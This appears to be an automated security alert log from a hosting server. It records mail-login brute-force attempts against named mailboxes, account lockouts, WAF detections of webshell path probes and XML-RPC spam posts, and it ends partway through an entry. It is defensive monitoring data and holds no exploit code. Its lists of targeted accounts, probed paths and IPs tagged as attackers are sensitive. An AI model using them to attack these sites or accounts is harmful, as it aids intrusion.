Jan 31 23:17:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.23.72.121
country_id: 6252001
description:
2026-01-31 23:18:01 dovecot_login authenticator failed for H=([209.23.72.121]) [209.23.72.121]:56148: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-01-31 23:17:19 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:47441: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:17:38 dovecot_login authenticator failed for H=(0om04ZJL7) [178.16.54.138]:53932: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:18:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-31 23:18:48 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:43378: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-31 23:18:06 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:21638: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 23:18:43 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:58976: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:18:13 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49580: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:18:15 dovecot_login authenticator failed for H=(LBkAnQq) [178.16.54.138]:50776: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.160.166.161
country_id: 1835841
description:
2026-01-31 23:18:23 dovecot_login authenticator failed for H=([121.160.166.161]) [121.160.166.161]:57188: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:18:22 dovecot_login authenticator failed for H=(cZlX7oU) [158.94.208.215]:65105: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.208.177.56
country_id: 6252001
description:
2026-01-31 23:18:29 dovecot_login authenticator failed for H=([74.208.177.56]) [74.208.177.56]:42458: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-31 23:18:31 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:49102: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/images/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-01-31 23:18:46 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:21554: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.70
country_id: 1814991
description:
2026-01-31 23:19:20 dovecot_login authenticator failed for H=([111.61.87.70]) [111.61.87.70]:15106: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:19:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-31 23:19:17 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:60314: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:19:19 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54721: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-01-31 23:19:06 dovecot_login authenticator failed for H=(23-30-11-253-static.hfc.comcastbusiness.net) [23.30.11.253]:49377: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.246.40.113
country_id: 1269750
domain: kainanholding.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:34272.kainanholding.com||ServerName:kainanholding.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f230dedce5c2a9f6664398cde5e468002c7cffbd||Title:0x67a5479a||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 23:19:48 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:48234: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:19:10 dovecot_login authenticator failed for H=(WbJX1qKm) [158.94.208.215]:63155: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.42.190.241
country_id: 6252001
description:
2026-01-31 23:19:18 dovecot_login authenticator failed for H=host241.sub-63-42-190.myvzw.com [63.42.190.241]:51418: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:19:29 dovecot_login authenticator failed for H=(W1O9h5kEuo) [178.16.54.138]:64663: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 34.140.135.10
country_id: 2802361
description:
2026-01-31 23:20:17 188859 [Warning] Aborted connection 188859 to db: 'unconnected' user: 'unauthenticated' host: '34.140.135.10' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:20:22 dovecot_login authenticator failed for H=(KmfPHTe) [158.94.208.215]:58722: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:20:36 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60467: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.174
country_id: 1733045
description:
2026-01-31 23:20:48 dovecot_login authenticator failed for H=([49.124.155.174]) [49.124.155.174]:55742: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:20:06 dovecot_login authenticator failed for H=(zfQHUI) [178.16.54.138]:65524: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.245.202
country_id: 1814991
description:
2026-01-31 23:20:25 dovecot_login authenticator failed for H=([218.21.245.202]) [218.21.245.202]:47760: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.223.176.171
country_id: 6252001
description:
2026-01-31 23:21:12 dovecot_login authenticator failed for H=([50.223.176.171]) [50.223.176.171]:48970: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.233
country_id: 2750405
description:
2026-01-31 23:21:58 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [2.58.56.233]:9561: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 204.144.187.196
country_id: 6252001
description:
2026-01-31 23:21:14 dovecot_plain authenticator failed for H=(monessemon) [204.144.187.196]:37912: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-31 23:21:27 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:51062: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-31 23:21:40 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:34013: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.11.4.120
country_id: 1269750
description:
2026-01-31 23:21:53 dovecot_plain authenticator failed for H=(T31NGXPI6836) [47.11.4.120]:54089: 535 Incorrect authentication data (set_id=tigerchong@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:21:10 dovecot_login authenticator failed for H=(JYTBdCbOm) [158.94.208.215]:53304: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.153.186
country_id: 1880251
domain: www.appointment.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/mockery/mockery/travis/extra.ini||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:21:17 dovecot_login authenticator failed for H=(ZYD7nUAWU) [178.16.54.138]:54991: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:21:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58644: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.107.136.187
country_id: 690791
description:
2026-01-31 23:22:07 dovecot_plain authenticator failed for H=(sught) [185.107.136.187]:60966: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.204.232.244
country_id: 1269750
description:
2026-01-31 23:22:10 dovecot_login authenticator failed for H=(broadband.actcorp.in) [49.204.232.244]:49110: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.233
country_id: 2750405
description:
2026-01-31 23:22:15 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [2.58.56.233]:11092: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:22:29 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64440: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:22:22 dovecot_login authenticator failed for H=(YuJ5mv7) [158.94.208.215]:54473: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:22:32 dovecot_login authenticator failed for H=(5ETiHj) [178.16.54.138]:59488: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.161.150
country_id: 1269750
description:
2026-01-31 23:23:20 dovecot_login authenticator failed for H=(nsg-corporate-25.230.186.122.airtel.in) [125.19.161.150]:37170: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.85.242
country_id: 1814991
description:
2026-01-31 23:23:02 dovecot_login authenticator failed for H=([116.114.85.242]) [116.114.85.242]:41766: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:23:08 dovecot_login authenticator failed for H=(Vtd97XiNbh) [178.16.54.138]:56299: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.9.242
country_id: 2017370
description:
2026-01-31 23:23:31 dovecot_login authenticator failed for H=([31.173.9.242]) [31.173.9.242]:53116: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:23:56 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:23:10 dovecot_login authenticator failed for H=(Dg7dyi4JWK) [158.94.208.215]:58927: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.216.165.187
country_id: 2017370
description:
2026-01-31 23:23:35 dovecot_login authenticator failed for H=([178.216.165.187]) [178.216.165.187]:32912: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-31 23:23:58 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:56220: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-31 23:24:07 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:51805: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 23:24:24 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:47212: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-31 23:24:44 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:33136: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:24:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:24:22 dovecot_login authenticator failed for H=(tKzeUhm) [158.94.208.215]:63433: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:24:20 dovecot_login authenticator failed for H=(l0UnJ9) [178.16.54.138]:57068: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:25:34 dovecot_login authenticator failed for H=(mU0Y37tx) [178.16.54.138]:49363: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-01-31 23:25:46 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se [155.4.31.215]:35122: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:25:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:25:10 dovecot_login authenticator failed for H=(GjpioITw) [158.94.208.215]:54245: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/img/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.42.196
country_id: 1668284
description:
2026-01-31 23:25:32 dovecot_login authenticator failed for H=221-120-42-196.emome-ip.hinet.net [221.120.42.196]:44569: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.100.39.180
country_id: 2017370
description:
2026-01-31 23:25:04 dovecot_login authenticator failed for H=([92.100.39.180]) [92.100.39.180]:46680: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.22.237.108
country_id: 1814991
description:
2026-01-31 23:25:24 dovecot_login authenticator failed for H=([218.22.237.108]) [218.22.237.108]:37412: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:26:22 dovecot_login authenticator failed for H=(vFbdZ7) [158.94.208.215]:58679: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:26:25 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:52149: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.63.42.76
country_id: 1814991
description:
2026-01-31 23:26:08 dovecot_login authenticator failed for H=([111.63.42.76]) [111.63.42.76]:38460: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:26:11 dovecot_login authenticator failed for H=(8ibnaLom) [178.16.54.138]:57377: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:26:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:27:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:27:23 dovecot_login authenticator failed for H=(m4qtknY0) [178.16.54.138]:60900: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:27:46 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62040: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.33.145
country_id: 99237
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/cold/7/277/723124 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.70.94.155
country_id: 1814991
description:
2026-01-31 23:27:41 dovecot_login authenticator failed for H=([117.70.94.155]) [117.70.94.155]:50290: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:27:10 dovecot_login authenticator failed for H=(IlOcLp1) [158.94.208.215]:54898: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:28:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56213: 535 Incorrect authentication data (set_id=testing@wcc.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:28:15 dovecot_login authenticator failed for H=(ddwvJnoep) [178.16.54.138]:63635: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:28:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 23:28:50 H=([64.89.160.15]) [64.89.160.15]:52851 F=<essenas@outlook.com> rejected RCPT <miya@hmz.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.225.207.166
country_id: 1814991
description:
2026-01-31 23:28:03 dovecot_login authenticator failed for H=([111.225.207.166]) [111.225.207.166]:34193: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 175.158.221.4
country_id: 1694008
domain: kendek.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:84483.kendek.com||ServerName:kendek.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f91041ed696f11f1523431a69f3fa33ef93cb7e1||Title:0x6cca91f6||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.219.196.17
country_id: 690791
description:
2026-01-31 23:29:00 dovecot_login authenticator failed for H=(91-219-196-17.planeta.dn.ua) [91.219.196.17]:59074: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:28:22 dovecot_login authenticator failed for H=(AoKyUsKre) [158.94.208.215]:64449: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:29:10 dovecot_login authenticator failed for H=(Vq9hOnMW) [158.94.208.215]:50111: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-31 23:29:57 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:33944: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:29:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51494: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:29:30 dovecot_login authenticator failed for H=(Z74t8D3d) [178.16.54.138]:53059: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.7.200.152
country_id: 1861060
description:
2026-01-31 23:29:47 dovecot_login authenticator failed for H=v157-7-200-152.cwit.static.cnode.io [157.7.200.152]:44272: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:29:56 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54713: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.237.119.118
country_id: 6252001
description:
2026-01-31 23:29:31 dovecot_login authenticator failed for H=118-119-237-24.gci.net [24.237.119.118]:36316: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:29:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52976: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.205.196.42
country_id: 1269750
domain: kdiballoon.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:60506.kdiballoon.com||ServerName:kdiballoon.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:45bd0c291eb6d72ccfdfa07936a941cefae0c16e||Title:0x7568bfed||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:30:01 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:55026: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: aire-fresh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home/airefresh/public_html/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:30:06 dovecot_login authenticator failed for H=(dd1Fx4uxW8) [178.16.54.138]:58033: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:30:22 dovecot_login authenticator failed for H=(MHmPBOXo) [158.94.208.215]:55972: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: aire-fresh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/airefresh/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:31:10 dovecot_login authenticator failed for H=(GYx3aZ) [158.94.208.215]:62992: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-31 23:31:17 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:41974: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-31 23:31:22 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:37406: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: astlog.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/astlogc/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 23:33:00 H=([64.89.160.15]) [64.89.160.15]:54639 F=<drdavid00r5@outlook.com> rejected RCPT <tst@tst-ma.com>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: modsec
rule: 77140878
